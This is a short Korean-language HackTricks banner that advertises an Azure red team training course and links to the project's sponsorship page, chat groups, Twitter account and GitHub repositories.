> Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง€์›ํ•˜๊ธฐ</summary>
>
> - [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ!
> - **๐Ÿ’ฌ [**๋””์Šค์ฝ”๋“œ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **ํŠธ์œ„ํ„ฐ** ๐Ÿฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜์„ธ์š”.**
>
> </details>